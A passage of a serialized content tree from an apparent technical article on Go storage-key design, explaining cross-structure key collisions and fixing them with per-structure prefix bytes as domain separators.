,"tag":314,"props":86126,"children":86127},{"class":316,"line":22878},[86128,86132,86136,86140],{"type":23,"tag":314,"props":86129,"children":86130},{"style":360},[86131],{"type":28,"value":85113},{"type":23,"tag":314,"props":86133,"children":86134},{"style":354},[86135],{"type":28,"value":75669},{"type":23,"tag":314,"props":86137,"children":86138},{"style":332},[86139],{"type":28,"value":84816},{"type":23,"tag":314,"props":86141,"children":86142},{"style":338},[86143],{"type":28,"value":2719},{"type":23,"tag":314,"props":86145,"children":86146},{"class":316,"line":22886},[86147,86151,86155],{"type":23,"tag":314,"props":86148,"children":86149},{"style":338},[86150],{"type":28,"value":85707},{"type":23,"tag":314,"props":86152,"children":86153},{"style":2674},[86154],{"type":28,"value":84017},{"type":23,"tag":314,"props":86156,"children":86157},{"style":338},[86158],{"type":28,"value":1870},{"type":23,"tag":314,"props":86160,"children":86161},{"class":316,"line":22894},[86162,86166,86170,86174,86178,86182,86186,86190],{"type":23,"tag":314,"props":86163,"children":86164},{"style":360},[86165],{"type":28,"value":85723},{"type":23,"tag":314,"props":86167,"children":86168},{"style":338},[86169],{"type":28,"value":282},{"type":23,"tag":314,"props":86171,"children":86172},{"style":332},[86173],{"type":28,"value":84853},{"type":23,"tag":314,"props":86175,"children":86176},{"style":338},[86177],{"type":28,"value":341},{"type":23,"tag":314,"props":86179,"children":86180},{"style":332},[86181],{"type":28,"value":8389},{"type":23,"tag":314,"props":86183,"children":86184},{"style":338},[86185],{"type":28,"value":341},{"type":23,"tag":314,"props":86187,"children":86188},{"style":360},[86189],{"type":28,"value":84723},{"type":23,"tag":314,"props":86191,"children":86192},{"style":338},[86193],{"type":28,"value":84874},{"type":23,"tag":314,"props":86195,"children":86196},{"class":316,"line":22903},[86197],{"type":23,"tag":314,"props":86198,"children":86199},{"style":338},[86200],{"type":28,"value":23164},{"type":23,"tag":314,"props":86202,"children":86203},{"class":316,"line":22979},[86204,86208,86212,86216,86220,86224,86228,86232],{"type":23,"tag":314,"props":86205,"children":86206},{"style":360},[86207],{"type":28,"value":84844},{"type":23,"tag":314,"props":86209,"children":86210},{"style":338},[86211],{"type":28,"value":282},{"type":23,"tag":314,"props":86213,"children":86214},{"style":332},[86215],{"type":28,"value":84898},{"type":23,"tag":314,"props":86217,"children":86218},{"style":338},[86219],{"type":28,"value":341},{"type":23,"tag":314,"props":86221,"children":86222},{"style":360},[86223],{"type":28,"value":84807},{"type":23,"tag":314,"props":86225,"children":86226},{"style":338},[86227],{"type":28,"value":778},{"type":23,"tag":314,"props":86229,"children":86230},{"style":360},[86231],{"type":28,"value":84723},{"type":23,"tag":314,"props":86233,"children":86234},{"style":338},[86235],{"type":28,"value":2414},{"type":23,"tag":314,"props":86237,"children":86238},{"class":316,"line":23012},[86239],{"type":23,"tag":314,"props":86240,"children":86241},{"emptyLinePlaceholder":18},[86242],{"type":28,"value":1088},{"type":23,"tag":314,"props":86244,"children":86245},{"class":316,"line":23020},[86246,86251,86255,86259],{"type":23,"tag":314,"props":86247,"children":86248},{"style":360},[86249],{"type":28,"value":86250}," addressNameEncoded",{"type":23,"tag":314,"props":86252,"children":86253},{"style":354},[86254],{"type":28,"value":75669},{"type":23,"tag":314,"props":86256,"children":86257},{"style":332},[86258],{"type":28,"value":84816},{"type":23,"tag":314,"props":86260,"children":86261},{"style":338},[86262],{"type":28,"value":2719},{"type":23,"tag":314,"props":86264,"children":86265},{"class":316,"line":23028},[86266,86270,86274],{"type":23,"tag":314,"props":86267,"children":86268},{"style":338},[86269],{"type":28,"value":85707},{"type":23,"tag":314,"props":86271,"children":86272},{"style":2674},[86273],{"type":28,"value":84017},{"type":23,"tag":314,"props":86275,"children":86276},{"style":338},[86277],{"type":28,"value":1870},{"type":23,"tag":314,"props":86279,"children":86280},{"class":316,"line":23065},[86281,86285,86289,86293,86297,86301,86305,86309],{"type":23,"tag":314,"props":86282,"children":86283},{"style":360},[86284],{"type":28,"value":85723},{"type":23,"tag":314,"props":86286,"children":86287},{"style":338},[86288],{"type":28,"value":282},{"type":23,"tag":314,"props":86290,"children":86291},{"style":332},[86292],{"type":28,"value":84853},{"type":23,"tag":314,"props":86294,"children":86295},{"style":338},[86296],{"type":28,"value":341},{"type":23,"tag":314,"props":86298,"children":86299},{"style":332},[86300],{"type":28,"value":8389},{"type":23,"tag":314,"props":86302,"children":86303},{"style":338},[86304],{"type":28,"value":341},{"type":23,"tag":314,"props":86306,"children":86307},{"style":360},[86308],{"type":28,"value":86093},{"type":23,"tag":314,"props":86310,"children":86311},{"style":338},[86312],{"type":28,"value":84874},{"type":23,"tag":314,"props":86314,"children":86315},{"class":316,"line":23078},[86316],{"type":23,"tag":314,"props":86317,"children":86318},{"style":338},[86319],{"type":28,"value":23164},{"type":23,"tag":314,"props":86321,"children":86322},{"class":316,"line":23091},[86323,86327,86331,86335,86339,86344,86348,86352],{"type":23,"tag":314,"props":86324,"children":86325},{"style":360},[86326],{"type":28,"value":84844},{"type":23,"tag":314,"props":86328,"children":86329},{"style":338},[86330],{"type":28,"value":282},{"type":23,"tag":314,"props":86332,"children":86333},{"style":332},[86334],{"type":28,"value":84898},{"type":23,"tag":314,"props":86336,"children":86337},{"style":338},[86338],{"type":28,"value":341},{"type":23,"tag":314,"props":86340,"children":86341},{"style":360},[86342],{"type":28,"value":86343},"addressNameEncoded",{"type":23,"tag":314,"props":86345,"children":86346},{"style":338},[86347],{"type":28,"value":778},{"type":23,"tag":314,"props":86349,"children":86350},{"style":360},[86351],{"type":28,"value":86093},{"type":23,"tag":314,"props":86353,"children":86354},{"style":338},[86355],{"type":28,"value":2414},{"type":23,"tag":314,"props":86357,"children":86358},{"class":316,"line":23104},[86359],{"type":23,"tag":314,"props":86360,"children":86361},{"emptyLinePlaceholder":18},[86362],{"type":28,"value":1088},{"type":23,"tag":314,"props":86364,"children":86365},{"class":316,"line":23158},[86366,86370,86374,86378,86382,86386],{"type":23,"tag":314,"props":86367,"children":86368},{"style":360},[86369],{"type":28,"value":85927},{"type":23,"tag":314,"props":86371,"children":86372},{"style":354},[86373],{"type":28,"value":75669},{"type":23,"tag":314,"props":86375,"children":86376},{"style":360},[86377],{"type":28,"value":81486},{"type":23,"tag":314,"props":86379,"children":86380},{"style":338},[86381],{"type":28,"value":282},{"type":23,"tag":314,"props":86383,"children":86384},{"style":332},[86385],{"type":28,"value":84475},{"type":23,"tag":314,"props":86387,"children":86388},{"style":338},[86389],{"type":28,"value":2719},{"type":23,"tag":314,"props":86391,"children":86392},{"class":316,"line":23167},[86393,86397],{"type":23,"tag":314,"props":86394,"children":86395},{"style":1245},[86396],{"type":28,"value":85955},{"type":23,"tag":314,"props":86398,"children":86399},{"style":338},[86400],{"type":28,"value":1870},{"type":23,"tag":314,"props":86402,"children":86403},{"class":316,"line":31528},[86404,86408],{"type":23,"tag":314,"props":86405,"children":86406},{"style":360},[86407],{"type":28,"value":85967},{"type":23,"tag":314,"props":86409,"children":86410},{"style":338},[86411],{"type":28,"value":1870},{"type":23,"tag":314,"props":86413,"children":86414},{"class":316,"line":31549},[86415,86419],{"type":23,"tag":314,"props":86416,"children":86417},{"style":360},[86418],{"type":28,"value":85979},{"type":23,"tag":314,"props":86420,"children":86421},{"style":338},[86422],{"type":28,"value":1870},{"type":23,"tag":314,"props":86424,"children":86425},{"class":316,"line":80203},[86426,86430],{"type":23,"tag":314,"props":86427,"children":86428},{"style":360},[86429],{"type":28,"value":85991},{"type":23,"tag":314,"props":86431,"children":86432},{"style":338},[86433],{"type":28,"value":1870},{"type":23,"tag":314,"props":86435,"children":86436},{"class":316,"line":80216},[86437,86441],{"type":23,"tag":314,"props":86438,"children":86439},{"style":360},[86440],{"type":28,"value":85979},{"type":23,"tag":314,"props":86442,"children":86443},{"style":338},[86444],{"type":28,"value":1870},{"type":23,"tag":314,"props":86446,"children":86447},{"class":316,"line":80224},[86448,86453],{"type":23,"tag":314,"props":86449,"children":86450},{"style":360},[86451],{"type":28,"value":86452}," addressNameEncoded",{"type":23,"tag":314,"props":86454,"children":86455},{"style":338},[86456],{"type":28,"value":1870},{"type":23,"tag":314,"props":86458,"children":86459},{"class":316,"line":80232},[86460],{"type":23,"tag":314,"props":86461,"children":86462},{"style":338},[86463],{"type":28,"value":23164},{"type":23,"tag":314,"props":86465,"children":86466},{"class":316,"line":80240},[86467],{"type":23,"tag":314,"props":86468,"children":86469},{"style":338},[86470],{"type":28,"value":386},{"type":23,"tag":24,"props":86472,"children":86473},{},[86474,86476,86481],{"type":28,"value":86475},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":94,"props":86477,"children":86479},{"className":86478},[],[86480],{"type":28,"value":84229},{"type":28,"value":86482},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":304,"props":86484,"children":86486},{"code":86485},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[86487],{"type":23,"tag":94,"props":86488,"children":86489},{"__ignoreMap":7},[86490],{"type":28,"value":86485},{"type":23,"tag":24,"props":86492,"children":86493},{},[86494],{"type":28,"value":86495},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":304,"props":86497,"children":86499},{"code":86498,"language":75417,"meta":7,"className":75418,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[86500],{"type":23,"tag":94,"props":86501,"children":86502},{"__ignoreMap":7},[86503,86514,86529,86556,86581,86588,86595,86602,86617,86632,86659,86682,86701,86716,86751,86758,86793,86800,86819,86834,86869,86876,86911,86918,86945,86957,86969,86980,86991,87002,87013,87024,87031,87038,87045,87052,87067,87082,87109,87132,87151,87166,87201,87208,87243,87250,87269,87284,87319,87326,87361,87368,87395,87406,87418,87429,87440,87451,87462,87473,87481],{"type":23,"tag":314,"props":86504,"children":86505},{"class":316,"line":317},[86506,86510],{"type":23,"tag":314,"props":86507,"children":86508},{"style":321},[86509],{"type":28,"value":346},{"type":23,"tag":314,"props":86511,"children":86512},{"style":338},[86513],{"type":28,"value":77818},{"type":23,"tag":314,"props":86515,"children":86516},{"class":316,"line":370},[86517,86521,86525],{"type":23,"tag":314,"props":86518,"children":86519},{"style":360},[86520],{"type":28,"value":84583},{"type":23,"tag":314,"props":86522,"children":86523},{"style":354},[86524],{"type":28,"value":1237},{"type":23,"tag":314,"props":86526,"children":86527},{"style":1245},[86528],{"type":28,"value":84592},{"type":23,"tag":314,"props":86530,"children":86531},{"class":316,"line":380},[86532,86537,86541,86546,86551],{"type":23,"tag":314,"props":86533,"children":86534},{"style":360},[86535],{"type":28,"value":86536}," PositionMapPrefix",{"type":23,"tag":314,"props":86538,"children":86539},{"style":354},[86540],{"type":28,"value":1237},{"type":23,"tag":314,"props":86542,"children":86543},{"style":1245},[86544],{"type":28,"value":86545}," \"",{"type":23,"tag":314,"props":86547,"children":86548},{"style":47623},[86549],{"type":28,"value":86550},"\\x01",{"type":23,"tag":314,"props":86552,"children":86553},{"style":1245},[86554],{"type":28,"value":86555},"\"\n",{"type":23,"tag":314,"props":86557,"children":86558},{"class":316,"line":1091},[86559,86564,86568,86572,86577],{"type":23,"tag":314,"props":86560,"children":86561},{"style":360},[86562],{"type":28,"value":86563}," AddressMapPrefix",{"type":23,"tag":314,"props":86565,"children":86566},{"style":354},[86567],{"type":28,"value":1237},{"type":23,"tag":314,"props":86569,"children":86570},{"style":1245},[86571],{"type":28,"value":86545},{"type":23,"tag":314,"props":86573,"children":86574},{"style":47623},[86575],{"type":28,"value":86576},"\\x02",{"type":23,"tag":314,"props":86578,"children":86579},{"style":1245},[86580],{"type":28,"value":86555},{"type":23,"tag":314,"props":86582,"children":86583},{"class":316,"line":1141},[86584],{"type":23,"tag":314,"props":86585,"children":86586},{"style":338},[86587],{"type":28,"value":2414},{"type":23,"tag":314,"props":86589,"children":86590},{"class":316,"line":1173},[86591],{"type":23,"tag":314,"props":86592,"children":86593},{"emptyLinePlaceholder":18},[86594],{"type":28,"value":1088},{"type":23,"tag":314,"props":86596,"children":86597},{"class":316,"line":1208},[86598],{"type":23,"tag":314,"props":86599,"children":86600},{"emptyLinePlaceholder":18},[86601],{"type":28,"value":1088},{"type":23,"tag":314,"props":86603,"children":86604},{"class":316,"line":1216},[86605,86609,86613],{"type":23,"tag":314,"props":86606,"children":86607},{"style":321},[86608],{"type":28,"value":75553},{"type":23,"tag":314,"props":86610,"children":86611},{"style":332},[86612],{"type":28,"value":85611},{"type":23,"tag":314,"props":86614,"children":86615},{"style":338},[86616],{"type":28,"value":2719},{"type":23,"tag":314,"props":86618,"children":86619},{"class":316,"line":1301},[86620,86624,86628],{"type":23,"tag":314,"props":86621,"children":86622},{"style":360},[86623],{"type":28,"value":84499},{"type":23,"tag":314,"props":86625,"children":86626},{"style":2674},[86627],{"type":28,"value":75674},{"type":23,"tag":314,"props":86629,"children":86630},{"style":338},[86631],{"type":28,"value":1870},{"type":23,"tag":314,"props":86633,"children":86634},{"class":316,"line":1343},[86635,86639,86643,86647,86651,86655],{"type":23,"tag":314,"props":86636,"children":86637},{"style":360},[86638],{"type":28,"value":84511},{"type":23,"tag":314,"props":86640,"children":86641},{"style":338},[86642],{"type":28,"value":778},{"type":23,"tag":314,"props":86644,"children":86645},{"style":360},[86646],{"type":28,"value":84992},{"type":23,"tag":314,"props":86648,"children":86649},{"style":338},[86650],{"type":28,"value":75480},{"type":23,"tag":314,"props":86652,"children":86653},{"style":2674},[86654],{"type":28,"value":84017},{"type":23,"tag":314,"props":86656,"children":86657},{"style":338},[86658],{"type":28,"value":1870},{"type":23,"tag":314,"props":86660,"children":86661},{"class":316,"line":1351},[86662,86666,86670,86674,86678],{"type":23,"tag":314,"props":86663,"children":86664},{"style":338},[86665],{"type":28,"value":75635},{"type":23,"tag":314,"props":86667,"children":86668},{"style":360},[86669],{"type":28,"value":1472},{"type":23,"tag":314,"props":86671,"children":86672},{"style":338},[86673],{"type":28,"value":75480},{"type":23,"tag":314,"props":86675,"children":86676},{"style":2674},[86677],{"type":28,"value":84017},{"type":23,"tag":314,"props":86679,"children":86680},{"style":338},[86681],{"type":28,"value":367},{"type":23,"tag":314,"props":86683,"children":86684},{"class":316,"line":1387},[86685,86689,86693,86697],{"type":23,"tag":314,"props":86686,"children":86687},{"style":360},[86688],{"type":28,"value":85113},{"type":23,"tag":314,"props":86690,"children":86691},{"style":354},[86692],{"type":28,"value":75669},{"type":23,"tag":314,"props":86694,"children":86695},{"style":332},[86696],{"type":28,"value":84816},{"type":23,"tag":314,"props":86698,"children":86699},{"style":338},[86700],{"type":28,"value":2719},{"type":23,"tag":314,"props":86702,"children":86703},{"class":316,"line":1422},[86704,86708,86712],{"type":23,"tag":314,"props":86705,"children":86706},{"style":338},[86707],{"type":28,"value":85707},{"type":23,"tag":314,"props":86709,"children":86710},{"style":2674},[86711],{"type":28,"value":84017},{"type":23,"tag":314,"props":86713,"children":86714},{"style":338},[86715],{"type":28,"value":1870},{"type":23,"tag":314,"props":86717,"children":86718},{"class":316,"line":1430},[86719,86723,86727,86731,86735,86739,86743,86747],{"type":23,"tag":314,"props":86720,"children":86721},{"style":360},[86722],{"type":28,"value":85723},{"type":23,"tag":314,"props":86724,"children":86725},{"style":338},[86726],{"type":28,"value":282},{"type":23,"tag":314,"props":86728,"children":86729},{"style":332},[86730],{"type":28,"value":84853},{"type":23,"tag":314,"props":86732,"children":86733},{"style":338},[86734],{"type":28,"value":341},{"type":23,"tag":314,"props":86736,"children":86737},{"style":332},[86738],{"type":28,"value":8389},{"type":23,"tag":314,"props":86740,"children":86741},{"style":338},[86742],{"type":28,"value":341},{"type":23,"tag":314,"props":86744,"children":86745},{"style":360},[86746],{"type":28,"value":84723},{"type":23,"tag":314,"props":86748,"children":86749},{"style":338},[86750],{"type":28,"value":84874},{"type":23,"tag":314,"props":86752,"children":86753},{"class":316,"line":1452},[86754],{"type":23,"tag":314,"props":86755,"children":86756},{"style":338},[86757],{"type":28,"value":23164},{"type":23,"tag":314,"props":86759,"children":86760},{"class":316,"line":1497},[86761,86765,86769,86773,86777,86781,86785,86789],{"type":23,"tag":314,"props":86762,"children":86763},{"style":360},[86764],{"type":28,"value":84844},{"type":23,"tag":314,"props":86766,"children":86767},{"style":338},[86768],{"type":28,"value":282},{"type":23,"tag":314,"props":86770,"children":86771},{"style":332},[86772],{"type":28,"value":84898},{"type":23,"tag":314,"props":86774,"children":86775},{"style":338},[86776],{"type":28,"value":341},{"type":23,"tag":314,"props":86778,"children":86779},{"style":360},[86780],{"type":28,"value":84807},{"type":23,"tag":314,"props":86782,"children":86783},{"style":338},[86784],{"type":28,"value":778},{"type":23,"tag":314,"props":86786,"children":86787},{"style":360},[86788],{"type":28,"value":84723},{"type":23,"tag":314,"props":86790,"children":86791},{"style":338},[86792],{"type":28,"value":2414},{"type":23,"tag":314,"props":86794,"children":86795},{"class":316,"line":1539},[86796],{"type":23,"tag":314,"props":86797,"children":86798},{"emptyLinePlaceholder":18},[86799],{"type":28,"value":1088},{"type":23,"tag":314,"props":86801,"children":86802},{"class":316,"line":1548},[86803,86807,86811,86815],{"type":23,"tag":314,"props":86804,"children":86805},{"style":360},[86806],{"type":28,"value":85808},{"type":23,"tag":314,"props":86808,"children":86809},{"style":354},[86810],{"type":28,"value":75669},{"type":23,"tag":314,"props":86812,"children":86813},{"style":332},[86814],{"type":28,"value":84816},{"type":23,"tag":314,"props":86816,"children":86817},{"style":338},[86818],{"type":28,"value":2719},{"type":23,"tag":314,"props":86820,"children":86821},{"class":316,"line":1584},[86822,86826,86830],{"type":23,"tag":314,"props":86823,"children":86824},{"style":338},[86825],{"type":28,"value":85707},{"type":23,"tag":314,"props":86827,"children":86828},{"style":2674},[86829],{"type":28,"value":84017},{"type":23,"tag":314,"props":86831,"children":86832},{"style":338},[86833],{"type":28,"value":1870},{"type":23,"tag":314,"props":86835,"children":86836},{"class":316,"line":1617},[86837,86841,86845,86849,86853,86857,86861,86865],{"type":23,"tag":314,"props":86838,"children":86839},{"style":360},[86840],{"type":28,"value":85723},{"type":23,"tag":314,"props":86842,"children":86843},{"style":338},[86844],{"type":28,"value":282},{"type":23,"tag":314,"props":86846,"children":86847},{"style":332},[86848],{"type":28,"value":84853},{"type":23,"tag":314,"props":86850,"children":86851},{"style":338},[86852],{"type":28,"value":341},{"type":23,"tag":314,"props":86854,"children":86855},{"style":332},[86856],{"type":28,"value":8389},{"type":23,"tag":314,"props":86858,"children":86859},{"style":338},[86860],{"type":28,"value":341},{"type":23,"tag":314,"props":86862,"children":86863},{"style":360},[86864],{"type":28,"value":84992},{"type":23,"tag":314,"props":86866,"children":86867},{"style":338},[86868],{"type":28,"value":84874},{"type":23,"tag":314,"props":86870,"children":86871},{"class":316,"line":1625},[86872],{"type":23,"tag":314,"props":86873,"children":86874},{"style":338},[86875],{"type":28,"value":23164},{"type":23,"tag":314,"props":86877,"children":86878},{"class":316,"line":1660},[86879,86883,86887,86891,86895,86899,86903,86907],{"type":23,"tag":314,"props":86880,"children":86881},{"style":360},[86882],{"type":28,"value":84844},{"type":23,"tag":314,"props":86884,"children":86885},{"style":338},[86886],{"type":28,"value":282},{"type":23,"tag":314,"props":86888,"children":86889},{"style":332},[86890],{"type":28,"value":84898},{"type":23,"tag":314,"props":86892,"children":86893},{"style":338},[86894],{"type":28,"value":341},{"type":23,"tag":314,"props":86896,"children":86897},{"style":360},[86898],{"type":28,"value":84933},{"type":23,"tag":314,"props":86900,"children":86901},{"style":338},[86902],{"type":28,"value":778},{"type":23,"tag":314,"props":86904,"children":86905},{"style":360},[86906],{"type":28,"value":84992},{"type":23,"tag":314,"props":86908,"children":86909},{"style":338},[86910],{"type":28,"value":2414},{"type":23,"tag":314,"props":86912,"children":86913},{"class":316,"line":1708},[86914],{"type":23,"tag":314,"props":86915,"children":86916},{"emptyLinePlaceholder":18},[86917],{"type":28,"value":1088},{"type":23,"tag":314,"props":86919,"children":86920},{"class":316,"line":1743},[86921,86925,86929,86933,86937,86941],{"type":23,"tag":314,"props":86922,"children":86923},{"style":360},[86924],{"type":28,"value":85927},{"type":23,"tag":314,"props":86926,"children":86927},{"style":354},[86928],{"type":28,"value":75669},{"type":23,"tag":314,"props":86930,"children":86931},{"style":360},[86932],{"type":28,"value":81486},{"type":23,"tag":314,"props":86934,"children":86935},{"style":338},[86936],{"type":28,"value":282},{"type":23,"tag":314,"props":86938,"children":86939},{"style":332},[86940],{"type":28,"value":84475},{"type":23,"tag":314,"props":86942,"children":86943},{"style":338},[86944],{"type":28,"value":2719},{"type":23,"tag":314,"props":86946,"children":86947},{"class":316,"line":1751},[86948,86953],{"type":23,"tag":314,"props":86949,"children":86950},{"style":1245},[86951],{"type":28,"value":86952}," \"%s%d%s%s%s%s\"",{"type":23,"tag":314,"props":86954,"children":86955},{"style":338},[86956],{"type":28,"value":1870},{"type":23,"tag":314,"props":86958,"children":86959},{"class":316,"line":1791},[86960,86965],{"type":23,"tag":314,"props":86961,"children":86962},{"style":360},[86963],{"type":28,"value":86964}," PositionMapPrefix",{"type":23,"tag":314,"props":86966,"children":86967},{"style":338},[86968],{"type":28,"value":1870},{"type":23,"tag":314,"props":86970,"children":86971},{"class":316,"line":1805},[86972,86976],{"type":23,"tag":314,"props":86973,"children":86974},{"style":360},[86975],{"type":28,"value":85967},{"type":23,"tag":314,"props":86977,"children":86978},{"style":338},[86979],{"type":28,"value":1870},{"type":23,"tag":314,"props":86981,"children":86982},{"class":316,"line":1818},[86983,86987],{"type":23,"tag":314,"props":86984,"children":86985},{"style":360},[86986],{"type":28,"value":85979},{"type":23,"tag":314,"props":86988,"children":86989},{"style":338},[86990],{"type":28,"value":1870},{"type":23,"tag":314,"props":86992,"children":86993},{"class":316,"line":1873},[86994,86998],{"type":23,"tag":314,"props":86995,"children":86996},{"style":360},[86997],{"type":28,"value":85991},{"type":23,"tag":314,"props":86999,"children":87000},{"style":338},[87001],{"type":28,"value":1870},{"type":23,"tag":314,"props":87003,"children":87004},{"class":316,"line":1891},[87005,87009],{"type":23,"tag":314,"props":87006,"children":87007},{"style":360},[87008],{"type":28,"value":85979},{"type":23,"tag":314,"props":87010,"children":87011},{"style":338},[87012],{"type":28,"value":1870},{"type":23,"tag":314,"props":87014,"children":87015},{"class":316,"line":1899},[87016,87020],{"type":23,"tag":314,"props":87017,"children":87018},{"style":360},[87019],{"type":28,"value":86014},{"type":23,"tag":314,"props":87021,"children":87022},{"style":338},[87023],{"type":28,"value":1870},{"type":23,"tag":314,"props":87025,"children":87026},{"class":316,"line":1944},[87027],{"type":23,"tag":314,"props":87028,"children":87029},{"style":338},[87030],{"type":28,"value":23164},{"type":23,"tag":314,"props":87032,"children":87033},{"class":316,"line":2008},[87034],{"type":23,"tag":314,"props":87035,"children":87036},{"style":338},[87037],{"type":28,"value":386},{"type":23,"tag":314,"props":87039,"children":87040},{"class":316,"line":2043},[87041],{"type":23,"tag":314,"props":87042,"children":87043},{"emptyLinePlaceholder":18},[87044],{"type":28,"value":1088},{"type":23,"tag":314,"props":87046,"children":87047},{"class":316,"line":22803},[87048],{"type":23,"tag":314,"props":87049,"children":87050},{"emptyLinePlaceholder":18},[87051],{"type":28,"value":1088},{"type":23,"tag":314,"props":87053,"children":87054},{"class":316,"line":22845},[87055,87059,87063],{"type":23,"tag":314,"props":87056,"children":87057},{"style":321},[87058],{"type":28,"value":75553},{"type":23,"tag":314,"props":87060,"children":87061},{"style":332},[87062],{"type":28,"value":86058},{"type":23,"tag":314,"props":87064,"children":87065},{"style":338},[87066],{"type":28,"value":2719},{"type":23,"tag":314,"props":87068,"children":87069},{"class":316,"line":22878},[87070,87074,87078],{"type":23,"tag":314,"props":87071,"children":87072},{"style":360},[87073],{"type":28,"value":84499},{"type":23,"tag":314,"props":87075,"children":87076},{"style":2674},[87077],{"type":28,"value":75674},{"type":23,"tag":314,"props":87079,"children":87080},{"style":338},[87081],{"type":28,"value":1870},{"type":23,"tag":314,"props":87083,"children":87084},{"class":316,"line":22886},[87085,87089,87093,87097,87101,87105],{"type":23,"tag":314,"props":87086,"children":87087},{"style":360},[87088],{"type":28,"value":84511},{"type":23,"tag":314,"props":87090,"children":87091},{"style":338},[87092],{"type":28,"value":778},{"type":23,"tag":314,"props":87094,"children":87095},{"style":360},[87096],{"type":28,"value":86093},{"type":23,"tag":314,"props":87098,"children":87099},{"style":338},[87100],{"type":28,"value":75480},{"type":23,"tag":314,"props":87102,"children":87103},{"style":2674},[87104],{"type":28,"value":84017},{"type":23,"tag":314,"props":87106,"children":87107},{"style":338},[87108],{"type":28,"value":1870},{"type":23,"tag":314,"props":87110,"children":87111},{"class":316,"line":22894},[87112,87116,87120,87124,87128],{"type":23,"tag":314,"props":87113,"children":87114},{"style":338},[87115],{"type":28,"value":75635},{"type":23,"tag":314,"props":87117,"children":87118},{"style":360},[87119],{"type":28,"value":1472},{"type":23,"tag":314,"props":87121,"children":87122},{"style":338},[87123],{"type":28,"value":75480},{"type":23,"tag":314,"props":87125,"children":87126},{"style":2674},[87127],{"type":28,"value":84017},{"type":23,"tag":314,"props":87129,"children":87130},{"style":338},[87131],{"type":28,"value":367},{"type":23,"tag":314,"props":87133,"children":87134},{"class":316,"line":22903},[87135,87139,87143,87147],{"type":23,"tag":314,"props":87136,"children":87137},{"style":360},[87138],{"type":28,"value":85113},{"type":23,"tag":314,"props":87140,"children":87141},{"style":354},[87142],{"type":28,"value":75669},{"type":23,"tag":314,"props":87144,"children":87145},{"style":332},[87146],{"type":28,"value":84816},{"type":23,"tag":314,"props":87148,"children":87149},{"style":338},[87150],{"type":28,"value":2719},{"type":23,"tag":314,"props":87152,"children":87153},{"class":316,"line":22979},[87154,87158,87162],{"type":23,"tag":314,"props":87155,"children":87156},{"style":338},[87157],{"type":28,"value":85707},{"type":23,"tag":314,"props":87159,"children":87160},{"style":2674},[87161],{"type":28,"value":84017},{"type":23,"tag":314,"props":87163,"children":87164},{"style":338},[87165],{"type":28,"value":1870},{"type":23,"tag":314,"props":87167,"children":87168},{"class":316,"line":23012},[87169,87173,87177,87181,87185,87189,87193,87197],{"type":23,"tag":314,"props":87170,"children":87171},{"style":360},[87172],{"type":28,"value":85723},{"type":23,"tag":314,"props":87174,"children":87175},{"style":338},[87176],{"type":28,"value":282},{"type":23,"tag":314,"props":87178,"children":87179},{"style":332},[87180],{"type":28,"value":84853},{"type":23,"tag":314,"props":87182,"children":87183},{"style":338},[87184],{"type":28,"value":341},{"type":23,"tag":314,"props":87186,"children":87187},{"style":332},[87188],{"type":28,"value":8389},{"type":23,"tag":314,"props":87190,"children":87191},{"style":338},[87192],{"type":28,"value":341},{"type":23,"tag":314,"props":87194,"children":87195},{"style":360},[87196],{"type":28,"value":84723},{"type":23,"tag":314,"props":87198,"children":87199},{"style":338},[87200],{"type":28,"value":84874},{"type":23,"tag":314,"props":87202,"children":87203},{"class":316,"line":23020},[87204],{"type":23,"tag":314,"props":87205,"children":87206},{"style":338},[87207],{"type":28,"value":23164},{"type":23,"tag":314,"props":87209,"children":87210},{"class":316,"line":23028},[87211,87215,87219,87223,87227,87231,87235,87239],{"type":23,"tag":314,"props":87212,"children":87213},{"style":360},[87214],{"type":28,"value":84844},{"type":23,"tag":314,"props":87216,"children":87217},{"style":338},[87218],{"type":28,"value":282},{"type":23,"tag":314,"props":87220,"children":87221},{"style":332},[87222],{"type":28,"value":84898},{"type":23,"tag":314,"props":87224,"children":87225},{"style":338},[87226],{"type":28,"value":341},{"type":23,"tag":314,"props":87228,"children":87229},{"style":360},[87230],{"type":28,"value":84807},{"type":23,"tag":314,"props":87232,"children":87233},{"style":338},[87234],{"type":28,"value":778},{"type":23,"tag":314,"props":87236,"children":87237},{"style":360},[87238],{"type":28,"value":84723},{"type":23,"tag":314,"props":87240,"children":87241},{"style":338},[87242],{"type":28,"value":2414},{"type":23,"tag":314,"props":87244,"children":87245},{"class":316,"line":23065},[87246],{"type":23,"tag":314,"props":87247,"children":87248},{"emptyLinePlaceholder":18},[87249],{"type":28,"value":1088},{"type":23,"tag":314,"props":87251,"children":87252},{"class":316,"line":23078},[87253,87257,87261,87265],{"type":23,"tag":314,"props":87254,"children":87255},{"style":360},[87256],{"type":28,"value":86250},{"type":23,"tag":314,"props":87258,"children":87259},{"style":354},[87260],{"type":28,"value":75669},{"type":23,"tag":314,"props":87262,"children":87263},{"style":332},[87264],{"type":28,"value":84816},{"type":23,"tag":314,"props":87266,"children":87267},{"style":338},[87268],{"type":28,"value":2719},{"type":23,"tag":31